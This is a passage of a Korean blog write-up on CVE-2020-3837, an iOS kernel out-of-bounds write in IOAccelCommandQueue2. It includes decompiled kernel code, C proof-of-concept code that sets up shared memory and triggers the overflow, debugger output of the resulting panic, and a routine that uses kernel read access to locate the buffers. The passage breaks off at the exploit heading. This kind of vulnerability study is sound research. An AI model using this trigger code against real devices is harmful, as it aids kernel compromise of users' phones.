*))a1-&gt;IOGA2_vt-&gt;field_688)(a1);\/\/ sub_FFFFFFF006D0F980\n      v19 = (IOUserClient *)v20;\n      if ( v20 )\n      {\n        if ( IOAccelContext2::init(v20, 0, a2) )\n          goto LABEL_17;\n        goto LABEL_22;\n      }\n      break;\n    case 3:\n...\nLABEL_17:\n        if ( !((unsigned int (__fastcall *)(IOUserClient *, struct_a1 *))v19-&gt;attach)(v19, a1) )\n          goto LABEL_40;\n        if ( !((unsigned int (__fastcall *)(IOUserClient *, struct_a1 *))v19-&gt;start)(v19, a1) )\n        {\n          if ( OSMetaClassBase::safeMetaCast(v19, &amp;stru_FFFFFFF0078C61D0) )\n          {\n            sub_FFFFFFF006CE668C(v26, &amp;a1-&gt;gap9E0[24]);\n            for ( i = sub_FFFFFFF006CE6698(v26); i; i = sub_FFFFFFF006CE6698(v26) )\n            {\n              if ( (IOUserClient *)i == v19 )\n                j__panic_21(\n                  &quot;\\&quot;Did you forget to call deviceStop when deviceStart failed?\\&quot;@\/BuildRoot\/Library\/Caches\/com.apple.xbs&quot;\n                  &quot;\/Sources\/IOAcceleratorFamily\/IOAcceleratorFamily-398.8.1\/Kext2\/IOGraphicsAccelerator.cpp:1706&quot;);\n            }\n          }\n          else if ( OSMetaClassBase::safeMetaCast(v19, &amp;stru_FFFFFFF0078C64C8) )\n          {\n            sub_FFFFFFF006CE6900(v26, &amp;a1-&gt;gap9E0[56]);\n            for ( j = sub_FFFFFFF006CE690C(v26); j; j = sub_FFFFFFF006CE690C(v26) )\n            {\n              if ( (IOUserClient *)j == v19 )\n                j__panic_21(\n                  &quot;\\&quot;Did you forget to call sharedStop when sharedStart failed?\\&quot;@\/BuildRoot\/Library\/Caches\/com.apple.xbs&quot;\n                  &quot;\/Sources\/IOAcceleratorFamily\/IOAcceleratorFamily-398.8.1\/Kext2\/IOGraphicsAccelerator.cpp:1716&quot;);\n            }\n          }\n          ((void (__fastcall *)(IOUserClient *, struct_a1 *))v19-&gt;detach)(v19, a1);\n          goto LABEL_40;\n        }\n        *a5 = v19;\n        ((void (__fastcall *)(IOUserClient *))v19-&gt;retain)(v19);\n        v9 = 0;\n      }\n      break;\n    case 5:                                     \/\/ kIOAccelDevice2Type\n      v22 = a1-&gt;IOGA2_vt-&gt;__ZN22IOGraphicsAccelerator29newDeviceEv((IOGraphicsAccelerator2 *)a1);\n      v19 = (IOUserClient *)v22;\n      if ( v22 )\n      {\n        if ( !IOAccelDevice2::init(v22, 0, a2) )\n          goto LABEL_22;\n        goto LABEL_26;\n      }\n      break;\n    default:\n      v21 = a1-&gt;IOGA2_vt-&gt;__ZN22IOGraphicsAccelerator210newContextEj((IOGraphicsAccelerator2 *)a1, type);\n      v19 = (IOUserClient *)v21;\n      if ( !v21 )\n        return 0xE00002C2LL;\n      if ( IOAccelContext2::init(v21, 0, a2) )\n      {\nLABEL_26:\n        if ( ((unsigned int (__fastcall *)(IOUserClient *, struct_a1 *))v19-&gt;attach)(v19, a1) )\n        {\n          v9 = 0;\n          *a5 = v19;\n        }\n        else\n        {\nLABEL_40:\n          ((void (__fastcall *)(IOUserClient *))v19-&gt;release_0)(v19);\n          v9 = 0xE00002C9LL;\n        }\n      }\n      else\n      {\nLABEL_22:\n        ((void (__fastcall *)(IOUserClient *))v19-&gt;release_0)(v19);\n      }\n      break;\n  }\n  return v9;\n}\n<\/code><\/pre>\n<h2>2. \uacf5\uc720 \uba54\ubaa8\ub9ac \uc0dd\uc131<\/h2>\n<p>2\uac1c\uc758 \ucee4\ub110\uacfc \uc720\uc800 \ud504\ub85c\uc138\uc2a4 \uacf5\uc720\ud558\ub294 \uba54\ubaa8\ub9ac\ub97c \uac01\uac01 0x4000 \ud06c\uae30\ub9cc\ud07c \ud560\ub2f9\uc2dc\ud0a8\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">const int IOAccelSharedUserClient2_create_shmem_selector = 5;\n...\nstatic struct IOAccelDeviceShmemData *\nIOAccelSharedUserClient2_create_shmem(io_connect_t IOAccelSharedUserClient2, size_t size) {\n\tstruct IOAccelDeviceShmemData *shmem = malloc(sizeof(*shmem));\n\tassert(shmem != NULL);\n\tsize_t out_size = sizeof(*shmem);\n\tuint64_t shmem_size = size;\n\tkern_return_t kr = IOConnectCallMethod(IOAccelSharedUserClient2,\n\t\t\tIOAccelSharedUserClient2_create_shmem_selector,\n\t\t\t&amp;shmem_size, 1,\n\t\t\tNULL, 0,\n\t\t\tNULL, NULL,\n\t\t\tshmem, &amp;out_size);\n\tassert(kr == KERN_SUCCESS);\n\treturn shmem;\n}\n...\nstruct IOAccelDeviceShmemData *command_buffer_shmem = IOAccelSharedUserClient2_create_shmem(IOAccelSharedUserClient2, 0x4000);\n\tstruct IOAccelDeviceShmemData *segment_list_shmem = IOAccelSharedUserClient2_create_shmem(IOAccelSharedUserClient2, 0x4000);\n<\/code><\/pre>\n<p>\uc774\ub7ec\ud55c \uc774\uc720\ub294 <code>IOAccelCommandQueue2::submit_command_buffer<\/code> \ud568\uc218\ub97c \ud638\ucd9c\uc2dc\ud0ac\ub54c, \ud558\ub098\ub294 <code>kcmd_shmem<\/code>, \ub2e4\ub978 \ud558\ub098\ub294 <code>seglist_shmem<\/code>\uc73c\ub85c \uac01\uac01\uc758 \uacf5\uc720\uba54\ubaa8\ub9ac 2\uac1c\ub97c \uc804\ub2ec\uc2dc\ud0ac \ud544\uc694\uac00 \uc788\uae30 \ub54c\ubb38\uc774\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">__int64 __fastcall IOAccelCommandQueue2::submit_command_buffers(\n        IOAccelCommandQueue2 *this,\n        IOAccelCommandQueue2Args *args)\n{\n  __int64 ret; \/\/ x21\n  IOGraphicsAccelerator2 *graphicsAccelerator; \/\/ x22\n  IOGraphicsAccelerator2 *graphicsAccelerator2; \/\/ x19\n  unsigned __int64 idx; \/\/ x25\n  uintptr_t pid; \/\/ x22\n  uintptr_t cq_id; \/\/ x23\n  uintptr_t v10; \/\/ x24\n  uintptr_t RegistryEntryID; \/\/ x0\n  IOGraphicsAccelerator2 *v12; \/\/ x22\n  IOGraphicsAccelerator2 *v13; \/\/ x22\n  uintptr_t v14; \/\/ x22\n  uintptr_t v15; \/\/ x23\n  uintptr_t v16; \/\/ x24\n  uintptr_t v17; \/\/ x0\n  IOGraphicsAccelerator2 *v18; \/\/ x0\n  IOGraphicsAccelerator2 *v19; \/\/ x19\n\n  ret = 0xE00002BCLL;\n  graphicsAccelerator = this-&gt;graphicsAccelerator2;\n  j__OSIncrementAtomic_29(&amp;graphicsAccelerator-&gt;lockCount);\n  j__lck_mtx_lock_14(graphicsAccelerator-&gt;lock);\n  j__OSDecrementAtomic_2(&amp;graphicsAccelerator-&gt;lockCount);\n  IOGraphicsAccelerator2::lock_busy();\n  ((void (__fastcall *)(IOGraphicsAccelerator2 *, void *, _QWORD))graphicsAccelerator-&gt;vtable-&gt;__ZN22IOGraphicsAccelerator218acceleratorDidLockEPKci)(\n    graphicsAccelerator,\n    &amp;empty,\n    0);\n  if ( this-&gt;submit_command_buffers_busy )\n  {\n    ....\n    return 0xE00002E2LL;\n  }\n  else\n  {\n    ...\n      if ( args-&gt;count )\n      {\n        idx = 0;\n        do\n        {\n          if ( (((__int64 (__fastcall *)(IOAccelCommandQueue2 *))this-&gt;vtable-&gt;__ZN20IOAccelCommandQueue222canSubmitCommandBufferEv)(this)\n              &amp; 1) == 0 )\n          {\n            pid = (unsigned int)this-&gt;pid;\n            cq_id = this-&gt;cq_id;\n            v10 = *(unsigned int *)&amp;this-&gt;gap2[11];\n            RegistryEntryID = IORegistryEntry::getRegistryEntryID((IORegistryEntry *)this-&gt;graphicsAccelerator2);\n            j__kernel_debug_10(0x85020080, pid, cq_id, v10, RegistryEntryID, 0);\n            ...\n          }\n          **IOAccelCommandQueue2::submit_command_buffer(\n            this,\n            args-&gt;command[idx].kcmd_shmem,\n            args-&gt;command[idx].seglist_shmem,\n            *(_QWORD *)&amp;args-&gt;command[idx].notify_1,\n            *(_QWORD *)&amp;args-&gt;command[idx].notify_2);**\n          ++idx;\n        }\n        while ( idx &lt; args-&gt;count );\n      }\n      v18 = this-&gt;graphicsAccelerator2;\n      *(_DWORD *)&amp;v18[21].gap8[72] = this-&gt;pid;\n      IOGraphicsAccelerator2::enable_gart_collector((__int64)v18);\n      ret = 0;\n    ...\n  }\n  return ret;\n}\n<\/code><\/pre>\n<h2>3. OOB Write \ud2b8\ub9ac\uac70\uc2dc\ud0a4\uae30<\/h2>\n<p>\uc55e\uc11c <code>IOAccelCommandQueue2::submit_command_buffers<\/code>\ub97c \ud638\ucd9c\ud558\uae30 \uc804\uc5d0 <code>IOAccelCommandQueue2::set_notification_port<\/code>\ub97c \uba3c\uc800 \ud638\ucd9c\ud574\uc57c \ud55c\ub2e4.<\/p>\n<p><code>mach_port_allocate<\/code>\ub85c <strong>\uc218\uc2e0\uc6a9(mach receive) \ud3ec\ud2b8\uc778<\/strong> <code>notification_port<\/code>\ub97c \ub9cc\ub4e0 \ub4a4, \uadf8 \ud3ec\ud2b8\ub97c   <code>set_notification_port<\/code> \ud568\uc218\uc5d0 \uc804\ub2ec\ud558\uc5ec \ud638\ucd9c\ud558\uc5ec \ube44\ub3d9\uae30 \uc54c\ub9bc \ud3ec\ud2b8\ub97c \ub4f1\ub85d\ud55c\ub2e4.<\/p>\n<p>\ub9c8\uc9c0\ub9c9\uc73c\ub85c, <code>pthread_create<\/code>\ub85c \ube44\ub3d9\uae30\uc801\uc73c\ub85c \uc2a4\ub808\ub4dc\ub97c \ub744\uc6cc <code>mach_msg<\/code> \ud568\uc218\ub85c \uc54c\ub9bc\uc744 \uacc4\uc18d \ubc1b\uac8c\ub054 \ud55c\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">static void\nIOAccelCommandQueue2_set_notification_port(io_connect_t IOAccelCommandQueue2, mach_port_t notification_port) {\n\tkern_return_t kr = IOConnectCallAsyncMethod(IOAccelCommandQueue2,\n\t\t\tIOAccelCommandQueue2_set_notification_port_selector,\n\t\t\tnotification_port,\n\t\t\tNULL, 0,\n\t\t\tNULL, 0,\n\t\t\tNULL, 0,\n\t\t\tNULL, NULL,\n\t\t\tNULL, NULL);\n\tassert(kr == KERN_SUCCESS);\n}\n\n...\n\nstatic void *\nnotification_recv_func(void *arg) {\n\tmach_port_t notification_port = (mach_port_t)(uintptr_t)arg;\n\tfor (;;) {\n\t\tstruct {\n\t\t\tmach_msg_header_t hdr;\n\t\t\tuint8_t data[0x4000];\n\t\t} msg = {};\n\t\tkern_return_t kr = mach_msg(&amp;msg.hdr, MACH_RCV_MSG, 0,\n\t\t\t\tsizeof(msg), notification_port,\n\t\t\t\tMACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);\n\t\tif (kr == KERN_SUCCESS) {\n\t\t\tint error = *(int *)((uint8_t *)&amp;msg + 0x94);\n\t\t\tuint64_t notify = *(uint64_t *)((uint8_t *)&amp;msg + 0x64);\n\t\t\tprintf(&quot;notification %llx: error = %d\\n&quot;, notify, error);\n\t\t}\n\t}\n}\n\n...\n\n\tmach_port_t notification_port = 0;\n\tmach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &amp;notification_port);\n\tIOAccelCommandQueue2_set_notification_port(IOAccelCommandQueue2, notification_port);\n\n\tpthread_t notification_recv_thread;\n\tpthread_create(&amp;notification_recv_thread, NULL, notification_recv_func, (void *)(uintptr_t)notification_port);\n<\/code><\/pre>\n<p>\uc774\ub7ec\ud55c \uc218\uc2e0\uc6a9 \uc54c\ub9bc \ud3ec\ud2b8\ub97c \ub9cc\ub4e4\uc5b4\uc57c\ub418\ub294 \uc774\uc720\ub294,\n\ub9cc\ub4e4\uc9c0 \uc54a\uc744 \uacbd\uc6b0 <code>IOAccelCommandQueue2::submit_command_buffers<\/code> \uc5d0\uc11c 0xE00002BC \uc5d0\ub7ec\uac12\uc744 \ubc18\ud658\ud55c\ub2e4.<\/p>\n<p><code>*(_QWORD *)&amp;this-&gt;gap1[4]<\/code>  \uac00 NULL\uc774 \uc544\ub2c8\uc5b4\uc57c \uc5d0\ub7ec\ucf54\ub4dc\ub97c \ubc18\ud658\ud558\uc9c0 \uc54a\ub294\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">__int64 __fastcall IOAccelCommandQueue2::submit_command_buffers(\n        IOAccelCommandQueue2 *this,\n        IOAccelCommandQueue2Args *args)\n{\n  __int64 ret; \/\/ x21\n  IOGraphicsAccelerator2 *graphicsAccelerator; \/\/ x22\n  IOGraphicsAccelerator2 *graphicsAccelerator2; \/\/ x19\n  unsigned __int64 idx; \/\/ x25\n  uintptr_t pid; \/\/ x22\n  uintptr_t cq_id; \/\/ x23\n  uintptr_t v10; \/\/ x24\n  uintptr_t RegistryEntryID; \/\/ x0\n  IOGraphicsAccelerator2 *v12; \/\/ x22\n  IOGraphicsAccelerator2 *v13; \/\/ x22\n  uintptr_t v14; \/\/ x22\n  uintptr_t v15; \/\/ x23\n  uintptr_t v16; \/\/ x24\n  uintptr_t v17; \/\/ x0\n  IOGraphicsAccelerator2 *v18; \/\/ x0\n  IOGraphicsAccelerator2 *v19; \/\/ x19\n\n  ret = 0xE00002BCLL;\n...\n    if ( *(_QWORD *)&amp;this-&gt;gap1[4] &amp;&amp; *(_QWORD *)&amp;this-&gt;gap2[43] )\n    {\n...\n          IOAccelCommandQueue2::submit_command_buffer(\n            this,\n            args-&gt;command[idx].kcmd_shmem,\n            args-&gt;command[idx].seglist_shmem,\n            *(_QWORD *)&amp;args-&gt;command[idx].notify_1,\n            *(_QWORD *)&amp;args-&gt;command[idx].notify_2);\n          ++idx;\n        }\n        while ( idx &lt; args-&gt;count );\n      }\n      v18 = this-&gt;graphicsAccelerator2;\n      *(_DWORD *)&amp;v18[21].gap8[72] = this-&gt;pid;\n      IOGraphicsAccelerator2::enable_gart_collector((__int64)v18);\n      ret = 0;\n    }\n...\n  }\n  return ret;\n}\n<\/code><\/pre>\n<p><code>gap1[4]<\/code> \ud544\ub4dc\ub294 <code>set_notification_port<\/code> \ud638\ucd9c\uc744 \ud1b5\ud574 NULL\uc774 \uc544\ub2c8\uac8c\ub054 \ub9cc\ub4e4 \uc218 \uc788\ub2e4.<\/p>\n<p><code>IOAccelBlockFencePort2::IOAccelBlockFencePort2<\/code> \ub9ac\ud134\uac12\uc774 \ud574\ub2f9 \ud544\ub4dc\uc5d0 \uc800\uc7a5\ub41c\ub2e4.<\/p>\n<p>\uc5ec\uae30\uae4c\uc9c0\uac00 \uc218\uc2e0\uc6a9 \uc54c\ub9bc \ud3ec\ud2b8\ub97c \ub9cc\ub4e4\uc5b4\uc57c\ub418\ub294 \uc774\uc720\uac00 \ub418\uaca0\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">__int64 __fastcall IOAccelCommandQueue2::set_notification_port(IOAccelCommandQueue2 *a1, __int64 a2)\n{\n  IOGraphicsAccelerator2 *graphicsAccelerator2; \/\/ x21\n  IOGraphicsAccelerator2 *v5; \/\/ x19\n  __int64 result; \/\/ x0\n  OSObject *v7; \/\/ x0\n  OSObject *v8; \/\/ x0\n  IOGraphicsAccelerator2 *v9; \/\/ x19\n\n  graphicsAccelerator2 = a1-&gt;graphicsAccelerator2;\n  j__OSIncrementAtomic_29(&amp;graphicsAccelerator2-&gt;lockCount);\n  j__lck_mtx_lock_14(graphicsAccelerator2-&gt;lock);\n  j__OSDecrementAtomic_2(&amp;graphicsAccelerator2-&gt;lockCount);\n  IOGraphicsAccelerator2::lock_busy();\n  ((void (__fastcall *)(IOGraphicsAccelerator2 *, void *, _QWORD))graphicsAccelerator2-&gt;vtable-&gt;__ZN22IOGraphicsAccelerator218acceleratorDidLockEPKci)(\n    graphicsAccelerator2,\n    &amp;empty,\n    0);\n  if ( *(_QWORD *)&amp;a1-&gt;gap1[4] )\n  {\n    ...\n    return 0xE00002C9LL;\n  }\n  v7 = (OSObject *)OSObject::operator new(0x50u);\n  v8 = IOAccelBlockFencePort2::IOAccelBlockFencePort2(v7);\n  *(_QWORD *)&amp;a1-&gt;gap1[4] = v8;\n  if ( v8 )\n  {\n    if ( (((__int64 (__fastcall *)(OSObject *, __int64))v8-&gt;__vftable[1].~OSObject)(v8, a2) &amp; 1) != 0 )\n    {\n      v9 = a1-&gt;graphicsAccelerator2;\n      ((void (__fastcall *)(IOGraphicsAccelerator2 *, void *, _QWORD))v9-&gt;vtable-&gt;__ZN22IOGraphicsAccelerator221acceleratorWillUnlockEPKci)(\n        v9,\n        &amp;empty,\n        0);\n      IOGraphicsAccelerator2::unlock_busy(v9);\n      j__lck_mtx_unlock_14(v9-&gt;lock);\n      return 0;\n    }\n    v8 = *(OSObject **)&amp;a1-&gt;gap1[4];\n  }\n...\n  result = 0xE00002BDLL;\n  *(_QWORD *)&amp;a1-&gt;gap1[4] = 0;\n  return result;\n}\n<\/code><\/pre>\n<p>\ub2e4\uc2dc \ub3cc\uc544\uc640\uc11c\n\uc774\uc81c 8\ubc14\uc774\ud2b8 \ud5e4\ub354(\uba85\ub839 \ud0c0\uc785\uacfc \ud06c\uae30)\uc758 <code>IOAccelKernelCommand<\/code>, \uadf8 \ub4a4\uc5d0 \uc624\ub294 \ud0c0\uc785\ubcc4 \uad6c\uc870\ud654\ub41c \ub370\uc774\ud130\ub85c \uad6c\uc131\ud574\uc900\ub2e4. \uad6c\uc131\ub41c \ub370\uc774\ud130\uc5d0 \uad00\ud574\uc11c\ub294 \u201c\uacf5\uc720\uba54\ubaa8\ub9ac\uac00 \uc5b4\ub290 \ucee4\ub110 \uc8fc\uc18c\uc5d0 \ud574\ub2f9\ub418\ub294\uc9c0 \ud655\uc778\ud558\uae30\u201d \ub2e8\uacc4\uc5d0\uc11c \ub354 \uc790\uc138\ud788 \uc54c\uc544\ubcf4\uaca0\ub2e4.\nIOAccelCommandQueue2_submit_command_buffers\ub97c \ud638\ucd9c\ud558\uba74 \ud0c0\uc784\uc2a4\ud0ec\ud504 \ud30c\uc2f1\ud568\uacfc \ub3d9\uc2dc\uc5d0\n\uac01\uac01\uc758 0x4000 \ud06c\uae30\uc758 \uacf5\uc720\ub41c \ucee4\ub110 \uba54\ubaa8\ub9ac\uc5d0 \uac12\uc744 \uc4f8\ub824\uace0 \ud560\uac83\uc774\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">...\n\n\tstruct {\n\t\tstruct IOAccelCommandQueueSubmitArgs_Header header;\n\t\tstruct IOAccelCommandQueueSubmitArgs_Command command;\n\t} submit_args = {};\n\tsubmit_args.header.count = 1;\n\tsubmit_args.command.command_buffer_shmem_id = command_buffer_shmem-&gt;shmem_id;\n\tsubmit_args.command.segment_list_shmem_id   = segment_list_shmem-&gt;shmem_id;\n\n\tstruct IOAccelSegmentListHeader *slh = (void *)segment_list_shmem-&gt;data;\n\tslh-&gt;length = 0x100;\n\tslh-&gt;segment_count = 1;\n\tstruct IOAccelSegmentResourceListHeader *srlh = (void *)(slh + 1);\n\tsrlh-&gt;kernel_commands_start_offset = 0;\n\tsrlh-&gt;kernel_commands_end_offset = 0x4000;\n\n\tstruct IOAccelKernelCommand_CollectTimeStamp *cmd1 = (void *)command_buffer_shmem-&gt;data;\n\tcmd1-&gt;command.type = 2;\n\tcmd1-&gt;command.size = 0x4000 - 8;\n\tstruct IOAccelKernelCommand_CollectTimeStamp *cmd2 = (void *)((uint8_t *)cmd1 + cmd1-&gt;command.size);\n\tcmd2-&gt;command.type = 2;\n\tcmd2-&gt;command.size = 8;\n\n#define KTRW 0\n\n\tprintf(&quot;IOAccelCommandQueue2::submit_command_buffers()\\n&quot;);\n#if KTRW\n\tsleep(4);\n#endif\n\tIOAccelCommandQueue2_submit_command_buffers(IOAccelCommandQueue2, &amp;submit_args.header, sizeof(submit_args));\n\tprintf(&quot;timestamp = %llx\\n&quot;, cmd1-&gt;timestamp);\n#if KTRW\n\tsleep(4);\n#endif\n<\/code><\/pre>\n<p>\uc720\uc800\ub79c\ub4dc\uc640 \uacf5\uc720\ud558\ub294 \ucee4\ub110 \uacf5\uac04\uc5d0\ub294 0x4000 \ud06c\uae30\uc758 segment list\uc640 \uadf8 \ub4a4\uc5d0 0x4000 \ud06c\uae30\uc758 command buffer\uac00 \ub4e4\uc5b4\uac04\ub2e4.<\/p>\n<p>\ud558\uc9c0\ub9cc, <code>cmd1-&gt;command.size = 0x4000 - 8;<\/code> \uc778 \uacbd\uc6b0 \ud328\ub2c9\uc774 \ubc1c\uc0dd\ud558\ub294\ub370,\n\uc774 \uacbd\uc6b0, command buffer \ub4a4\uc5d0 \ub9f5\ud551\ub418\uc9c0 \uc54a\uc740 \uacf5\uac04\uc758 \uccab 8\ubc14\uc774\ud2b8\uc5d0\ub2e4\uac00 OOB Write\ud558\uae30 \ub54c\ubb38\uc5d0 \ud328\ub2c9\uc774 \ubc1c\uc0dd\ud55c\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">    \/\/ now:\n    \/\/ +------------------+------------------+------------------+\n    \/\/ |   segment list   |  command buffer  |     unmapped    ...\n    \/\/ +------------------+------------------+------------------+\n    \/\/\n<\/code><\/pre>\n<pre><code class=\"language-cpp\">(lldb) c\nProcess 1 resuming\nProcess 1 stopped\n* thread #1, stop reason = breakpoint 1.1\n    frame #0: 0xfffffff029efea8c kerneldec_1201_8\n-&gt;  0xfffffff029efea8c: str    x0, [x20, #0x8]\n    0xfffffff029efea90: b      0xfffffff029efea00\n    0xfffffff029efea94: cbz    x1, 0xfffffff029efeb64\n    0xfffffff029efea98: ldr    w8, [x20, #0x10]\nTarget 0: (kerneldec_1201_8) stopped.\n(lldb) reg read x20\n     x20 = 0xffffffe032793ff8\n(lldb) x\/16gx $x20\n0xffffffe032793ff8: 0x0000000800000002 0x0000000000000000\n0xffffffe032794008: 0x0000000000000000 0x0000000000000000\n0xffffffe032794018: 0x0000000000000000 0x0000000000000000\n...\nwarning: Not all bytes (8\/128) were able to be read from 0xffffffe032793ff8.\n<\/code><\/pre>\n<h2>\uacf5\uc720\uba54\ubaa8\ub9ac\uac00 \uc5b4\ub290 \ucee4\ub110 \uc8fc\uc18c\uc5d0 \ud574\ub2f9\ub418\ub294\uc9c0 \ud655\uc778\ud558\uae30<\/h2>\n<p>\uc774\ucc98\ub7fc \ucde8\uc57d\uc810\uc740 \ud398\uc774\uc9c0\ud654 \uac00\ub2a5\ud55c \ucee4\ub110 \ub9f5\uc758 \uc11c\ube0c\ub9f5\uc5d0 \ub9e4\ud551\ub41c \uacf5\uc720 \uba54\ubaa8\ub9ac \ubc84\ud37c \ub05d\uc744 \ub118\uc5b4 8\ubc14\uc774\ud2b8 \ud0c0\uc784\uc2a4\ud0ec\ud504\uc758 \uc77c\ubd80 \ub610\ub294 \uc804\uccb4\ub97c \uc4f8 \uc218 \uc788\uac8c \ub9cc\ub4e0\ub2e4. \uc774\ub7ec\ud55c \ud398\uc774\uc9c0\ud654 \uac00\ub2a5\ud55c \ub9f5\uc740 <code>IOIteratePageableMaps()<\/code>\uc5d0 \uc758\ud574 \ud544\uc694\uc5d0 \ub530\ub77c \ud560\ub2f9\ub41c\ub2e4. \ub54c\ubb38\uc5d0 \uc624\ubc84\ud50c\ub85c\uc6b0\uac00 \ub300\ubd80\ubd84\uc758 <code>kalloc<\/code> \ud560\ub2f9\uc774 \ubc1c\uc0dd\ud558\ub294 \uc874 \ub9f5(zone map) \ub0b4\ubd80\uc5d0\uc11c \ubc1c\uc0dd\ud558\uc9c0 \uc54a\uc73c\ubbc0\ub85c, \ucd5c\uadfc \uacf5\uac1c\ub41c iOS \ucee4\ub110 \uc775\uc2a4\ud50c\ub85c\uc787\ub4e4\uc5d0\uc11c \uc0ac\uc6a9\ub41c \uac83\uacfc\ub294 \uc57d\uac04 \ub2e4\ub978 \uae30\ubc95\uc774 \ud544\uc694\ud558\ub2e4\uace0 oob_timestamp \uc775\uc2a4\ucf54\ub4dc\uc758 README \ud30c\uc77c\uc5d0 \uc801\ud600\uc788\ub2e4.<\/p>\n<p>\uadf8\ub798\uc11c \uc800 \uacf5\uc720\uba54\ubaa8\ub9ac\uac00 \ucee4\ub110\uc758 \uc5b4\ub290 \uc8fc\uc18c\uc5d0 \ud574\ub2f9\ub418\ub294\uc9c0 poc_shmem_where \ud504\ub85c\uc81d\ud2b8\ub97c \ub9cc\ub4e4\uc5c8\ub2e4.<\/p>\n<p><a href=\"https:\/\/github.com\/wh1te4ever\/xnu_1day_practice\/tree\/main\/CVE-2020-3837\/poc_shmem_where\">https:\/\/github.com\/wh1te4ever\/xnu_1day_practice\/tree\/main\/CVE-2020-3837\/poc_shmem_where<\/a><\/p>\n<p>\uc544\uc774\ub514\uc5b4\ub294 \uacf5\uc720 \uba54\ubaa8\ub9ac\ub97c \ud560\ub2f9\ud558\uace0 \uac12\uc744 \uc4f8\ub54c\uc5d0 +0x1000 \uc704\uce58\uc5d0 \ud2b9\ubcc4\ud55c \uc2dc\uadf8\ub2c8\ucc98\ub97c \ub0a8\uae30\ub294 \uac83\uc774\ub2e4.<\/p>\n<p><code>IOIteratePageableMaps<\/code> \uc5d0 \uc758\ud574 \uc81c\uacf5\ub418\ub294 \uc8fc\uc18c\ub294 <code>gIOKitPageableSpace<\/code>\uc5d0\uc11c \ud655\uc778\ud560 \uc218 \uc788\uace0, \ud574\ub2f9 \uad6c\uc870\uccb4 \ud544\ub4dc\ub97c \ub530\ub77c maps\uc758 address\uc640 end \ubc94\uc704\ub97c 0x1000 \ud398\uc774\uc9c0 \ub2e8\uc704\ub85c \uc21c\ud68c\ud558\uba74\uc11c \uc2dc\uadf8\ub2c8\ucc98\ub97c \ucc3e\uc544\ub0b4\uba74 \ub41c\ub2e4. (\ud558\uc9c0\ub9cc, \uc5c4\uccad\ub09c \ud070 \ud06c\uae30\ub85c \uacf5\uc720\uba54\ubaa8\ub9ac\ub97c \ud560\ub2f9\ud558\ub824\uace0 \ud558\uba74, maps\uc758 address\uc640 end \ubc94\uc704\uc5d0 \uc874\uc7ac\ud558\uc9c0 \uc54a\uc558\ub2e4. \uc774\ub294 \ub098\uc911\uc5d0 \uc870\uae08 \ub354 \uc544\ub7ab\ubd80\ubd84\uc5d0\uc11c \uc2dc\ud589\ucc29\uc624\ub97c \uac70\uce5c \uacbd\ud5d8\uc744 \uc774\uc57c\uae30\ud574\ubcf4\uaca0\ub2e4.)<\/p>\n<pre><code class=\"language-cpp\">typedef struct {\n    vm_map_t\t\tmap;\n    vm_offset_t\taddress;\n    vm_offset_t\tend;\n} IOMapData;\n\nstatic struct {\n    UInt32\tcount;\n    UInt32\thint;\n    IOMapData\tmaps[ kIOMaxPageableMaps ];\n    lck_mtx_t *\tlock;\n} gIOKitPageableSpace;\n<\/code><\/pre>\n<pre><code class=\"language-cpp\">void find_shmem_in_kernel(uint64_t *kva1, uint64_t *kva2, uint64_t command_buffer_shmem_sig, uint64_t segment_list_shmem_sig) {\n    uint64_t command_buffer_shmem_data_kva = 0;\n\tuint64_t segment_list_shmem_data_kva = 0;\n\tuint64_t gIOKitPageableSpace_start = kread64(ksym(KSYMBOL_gIOKitPageableSpace) + 0x10);\n\tuint64_t gIOKitPageableSpace_end = kread64(ksym(KSYMBOL_gIOKitPageableSpace) + 0x18);\n\n\tint i = 0;\n\n\twhile(1) {\n\t\tuint64_t current_kva = gIOKitPageableSpace_start + i * 0x1000;\n\n\t\tif(current_kva &gt; gIOKitPageableSpace_end) {\n\t\t\tERROR(&quot;failed to find where shmem allocated in kernel\\n&quot;);\n\t\t\tbreak;\n\t\t}\n\n\t\t\/\/check if valid readable kernel address to prevent kernel panic\n\t\tuint64_t current_pa = kvtophys(current_kva);\n\t\tif(current_pa == 0) continue;\n\n\t\tif(physread64(current_pa) == command_buffer_shmem_sig) {\n\t\t\tINFO(&quot;Found command_buffer_shmem in kernel: 0x%llx\\n&quot;, current_kva-0x1000);\n\t\t\tcommand_buffer_shmem_data_kva = current_kva-0x1000;\n            *kva1 = command_buffer_shmem_data_kva;\n\t\t}\n\n\t\tif(physread64(current_pa) == segment_list_shmem_sig) {\n\t\t\tINFO(&quot;Found segment_list_shmem in kernel: 0x%llx\\n&quot;, current_kva-0x1000);\n\t\t\tsegment_list_shmem_data_kva = current_kva-0x1000;\n            *kva2 = segment_list_shmem_data_kva;\n\t\t}\n\n\t\tif(segment_list_shmem_data_kva &amp;&amp; command_buffer_shmem_data_kva) break;\n\n\t\ti++;\n\t}\n}\n<\/code><\/pre>\n<p>\uc544\ub798 \uc2e4\ud589 \uacb0\uacfc\ucc98\ub7fc segment list\ub294 \ud56d\uc0c1 command buffer \uc55e\uc5d0 \uc704\uce58\ud558\uace0 \uc788\uace0,<\/p>\n<pre><code class=\"language-cpp\">iPhone-8--1201:~ root# CVE-2020-3837 \n[*] alloc_shmem ret: 0x0 ((os\/kern) successful)\n[i] offsets selected for iOS 12.0.1\nhost: 0xb03\n[*] tfp0: 0xc03\n[*] get_kbase ret: 0, kbase: 0xfffffff018604000, kslide: 0x11600000\n[*] Found segment_list_shmem in kernel: 0xffffffe03231c000\n[*] Found command_buffer_shmem in kernel: 0xffffffe032320000\n[*] command_buffer_shmem_data_kva: 0xffffffe032320000\n[*] segment_list_shmem_data_kva: 0xffffffe03231c000\n<\/code><\/pre>\n<p>\uad6c\uc870\ud654\ub41c \ub370\uc774\ud130\ub294 \ub2e4\uc74c\uacfc \uac19\uc774 \uc774\ub904\uc9c4\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2020-3837\/pics\/image.png\" alt=\"image.png\"><\/p>\n<h1>\uc775\uc2a4\ud50c\ub85c\uc787 